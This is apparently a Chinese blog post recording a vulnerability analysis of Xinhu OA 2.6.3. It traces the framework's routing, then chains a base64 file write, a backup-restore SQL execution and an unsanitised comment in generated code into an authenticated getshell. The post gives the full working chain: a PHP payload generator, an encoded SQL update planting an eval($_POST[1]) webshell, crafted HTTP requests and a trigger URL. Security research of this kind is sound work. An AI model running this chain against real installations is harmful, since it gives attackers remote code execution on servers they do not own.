0%

信呼OA后台getshell分析

在先知社区看到的一篇关于信呼OA后台getshell的文章,感觉还不错就拿来记录一下

信呼OA后台getshell分析

环境搭建

phpstudy+信呼OA版本2.6.3

源码链接:https://github.com/rainrocka/xinhu

使用phpstudy创建网站,以及对应数据库

然后将源码文件导入对应文件夹下

访问网站进行安装

安装完后告诉我们后台账号和密码admin:123456,出现改密码提示更新一下密码就行


前置知识

了解路由结构

我们先从源码index.php看起,第八行包含config.php配置文件

跟进一下,发现也包含了三个php文件

我们跟进查看,发现rockFun.php文件只是定义了一系列方法,Chajian.php文件则是定义了Chajian类,rockClass.php文件定义了rockClass类。接着如果未被定义,那么默认项目和入口分别为webmainindex,后面就是其他一些定义内容。

回到index.php,$_uurl$rock->get('rewriteurl');决定

跟进一下(注意这里是rewrite()方法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function rewrite($m,$a,$s)
{
$url = '';
if(REWRITE=='true'){
$url = ''.$m.'';
if($a == '' && $s == ''){
$url = ''.$url.'.html';
}elseif($a == ''){
$url = ''.$url.'_'.$s.'.html';
}else{
$url = ''.$url.'_'.$a.'_'.$s.'_a.html';
}
}else{
$url = 'index.php?m='.$m.'';
if($a != '')$url.='&a='.$a.'';
if($s != '')$url.='&s='.$s.'';
}
return $url;
}

相当于是从外部接收$m,$a,$s参数进行重写,返回值url

由于这里默认没有接收参数,所以$_uurl为空,那么执行else语句跟进jm类的gettoken()方法

1
2
3
4
5
6
7
8
9
10
public function gettoken($na, $dev='')
{
$s = $dev;
if(isset($this->rocktokenarr[$na])){
$s = $this->rocktokenarr[$na];
}else{
$s = $this->rock->get($na, $dev);
}
return $s;
}

继续跟进rock类的get()方法

1
2
3
4
5
6
7
public function get($name,$dev='', $lx=0)
{
$val=$dev;
if(isset($_GET[$name]))$val=$_GET[$name];
if($this->isempt($val))$val=$dev;
return $this->jmuncode($val, $lx, $name);
}

相当于接收GET请求参数m,d,a

不仅如此,回到index.php我们继续往下看发现还有请求参数ajaxbool

我们看向最后一行代码,跟进一下View.php

如果参数m包含|,那么以|分割开赋值给$m$_m

然后调用strformat()方法替换其中的占位符,最后分别赋值给$actfile$actfile1

1
2
3
4
5
6
7
8
public function strformat($str)
{
$len = func_num_args();
$arr = array();
for($i=1; $i<$len; $i++)$arr[] = func_get_arg($i);
$s = $this->stringformat($str, $arr);
return $s;
}

我们继续往下看

$mClassAction拼接后实例化,继续将$aAction拼接,然后检测方法是否存在,如果存在则调用该方法

具体来讲和我们路由中的传参参数有关,也就是

1
2
$_GET['m']ClassAction类进行实例化
如果方法存在,则调用$_GET['a']Action方法

再往下则是该CMS自写的模板解析功能

以上就是框架大概的运行原理,下面我们定义一个自己的控制器

定义目录/文件结构如下

rev1veAction.php内容如下

1
2
3
4
5
6
<?php
class rev1veClassAction extends ActionNot{
public function testerAction(){
echo "Hello Word";
}
}

注:这里有个坑点,参考文章的示例没有Class直接就是rev1veAction这样。一开始按照文章来结果复现不出来,后面调试一下才注意到这里的类名应该是拼接上ClassAction,原理前面也分析过就不赘述了

tpl_rev1ve_tester.html内容如下

1
<h1>test模板</h1>

我们先登录管理员账号,然后执行以下命令即可实现

1
?d=test&m=rev1ve&a=tester


漏洞分析

漏洞触发点

位于webmain\main\flow\flowAction.phpinputAction()方法

我们跟进一下,往下翻代码注意到存在写入php文件

1
2
3
4
5
6
7
8
9
10
		$apaths		= ''.P.'/flow/input/mode_'.$modenum.'Action.php';
$apath = ''.ROOT_PATH.'/'.$apaths.'';
if(!file_exists($apath)){
$stra = '<?php
/**
* 此文件是流程模块【'.$modenum.'.'.$rs['name'].'】对应控制器接口文件。
*/
//省略部分无关代码
';
$this->rock->createtxt($apaths, $stra);

这里的参数$modenum$rs['name']被拼接到写入文件的注释里,我们可以尝试注释掉前后代码实现RCE

看看两个参数是怎么来的,往上翻

这里$rs是调用m()跟进一下,并传参为flow__get的表名

第34行代码出现实例化Model类,那么就继续调用该类的getone()方法

1
2
3
4
public function getone($where, $fields='*', $order='')
{
return $this->db->getone($this->table, $where, $fields, $order);
}

反正是从数据库中获取的,并且没有对其进行过滤

利用思路

  1. insert data -> flow_set数据表
  2. 执行inputAction 方法
  3. 代码执行

能insert数据的地方有好几个,最初是选用同一文件位于88行flowsetsavebefore()方法

不过这里可以看到过滤非常严格,而我们写的马需要注释符/**/以及(),所以这条路是走不通的。

继续翻代码,找到也有执行SQL语句的webmain\system\beifen\beifenAction.phphuifdatanewAjax()

首先我们是管理员账号,所以不用去管参数$adminid是否为1。接着POST接收参数foldersid,获取数据库所有表名,继续检查给定路径下的文件是否存在,如果存在则执行m('beifen')->getbfdata()方法,跟进一下

1
2
3
4
5
6
7
8
9
10
11
12
13
public function getbfdata($file, $path='')
{
$str = array();
if($path=='')$path = ''.ROOT_PATH.'/'.UPDIR.'/data/'.$file.'';
if(file_exists($path)){
$cont = file_get_contents($path);
if(substr($cont, 0, 2) != '{"'){
$cont = $this->rock->jm->mcrypt_decrypt($cont);
}
$str = json_decode($cont, true);
}
return $str;
}

调用file_get_contents()函数读取json数据,然后json解码

解码后的数据存储在$data中,然后获取$data[tab]的数据判断文件表是否存在

1
2
3
4
5
6
7
8
if(!in_array($tab, $alltabls)){
$createsql = arrvalue($dataarr, 'createsql');
if($createsql){
$this->db->query($createsql, false);
}else{
continue;
}
}

如果不存在调用arrvalue()方法,跟进一下

1
2
3
4
5
6
7
8
9
10
/**
* 在数组里读取变量
* @return value
*/
function arrvalue($arr, $k, $dev='')
{
$val = $dev;
if(isset($arr[$k]))$val= $arr[$k];
return $val;
}

相当于是获取$data[$tab]['createsql']的值。如果$createsql存在,执行query()方法

其他都可控主要上传的图片文件名都是随机的。想要执行sql语句就必须控制文件名。

比如上传文件返回随机文件名a.png,那么文件内容必须为

1
["a.png" => ["createsql" => "select 1"]]

我们无法提前预知生成的文件名,那这条路也就走不通

通过翻找代码,找到webmain\task\openapi\openkqjAction.phpapiAction()方法

这里有判断请求方式,如果为POST请求且不为空那么调用kqjcmd类的postdata()方法

跟进一下,这里对POST请求数据进行json解码并赋值给$barr,然后foreach遍历赋值给$dtype

我们往下看,如果存在headpic键那么调用saveheadpic()方法

1
2
3
if($dtype=='headpic'){
$this->saveheadpic($snid, $rs['ccid'], $rs['headpic']);
}

继续跟进saveheadpic()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private function saveheadpic($snid, $uid, $headpic, $face='')
{
$where = "`snid`='$snid' and `uid`='$uid'";
if(isempt($face)){
if(isempt($headpic))return;
$face = ''.UPDIR.'/face/kqj'.$snid.'_u'.$uid.'.jpg'; //头像保存为图片
$this->rock->createtxt($face, base64_decode($headpic));
}
$arr['headpic'] = $face;
if($this->kquobj->rows($where)==0){
$where = '';
$arr['snid'] = $snid;
$arr['uid'] = $uid;
}
$this->kquobj->record($arr, $where);
}

这里的路径以及文件名可控,然后对$headpic进行base64解码


漏洞利用

首先insert一条flow_set数据(ps:直接用sql insert太麻烦了直接正常构造一个正常数据,然后sql update)

新增模块列表,填写下基本信息

然后提交抓包查看下对应id,结果为161

然后构造payload

1
2
3
4
5
6
7
8
9
<?php
$arr = array(
"kqj1_u1.jpg" => array(
"createsql" => "update xinhu_flow_set set name=\"*/eval(\$_POST[1]);/*\" where id = 161;"
)
);
echo base64_encode(json_encode($arr));


注:这里的可控文件名kqj1_u1.jpg在前面分析过,id为我们刚刚创建的模块列表id,$符号前要加\防转义

然后根据我们的链子来构造路由,POP链如下

1
openkqj::apiAction() -> kqjcmd::postdata() -> kqjcmd::saveheadpic()

构造POST请求包

1
2
3
4
5
6
7
8
POST /index.php/post?d=task&m=openkqj|openapi&a=api&sn=1 HTTP/1.1

{"aasd":{
"data":"headpic",
"id":"1",
"headpic":"eyJrcWoxX3UxLmpwZyI6eyJjcmVhdGVzcWwiOiJ1cGRhdGUgeGluaHVfZmxvd19zZXQgc2V0IG5hbWU9XCIqXC9ldmFsKCRfUE9TVFsxXSk7XC8qXCIgd2hlcmUgaWQgPSAxNjE7In19",
"ccid":"1"}
}

注:headpic为前面构造的payload,base64编码

上传成功后,执行我们前面保存的文件中的sql语句

1
2
3
4
POST /index.php?a=huifdatanew&d=system&m=beifen&ajaxbool=true

//POST传参
folder=.*/./face&sid=kqj1_u1.jpg

最后调用webmain\main\flow\flowAction.phpinputAction()方法,将木马拼接到文件中触发漏洞

1
/index.php?a=input&m=flow&d=main&id=1&setid=161

直接访问webmain\flow\input目录下的model_test123Action.php文件,成功命令执行

(这里test123是模块编号)

也可以按照给定路由结构去访问

1
?d=flow&m=mode_test123|input

以上就是整个信呼OA后台getshell的分析和利用


参考文章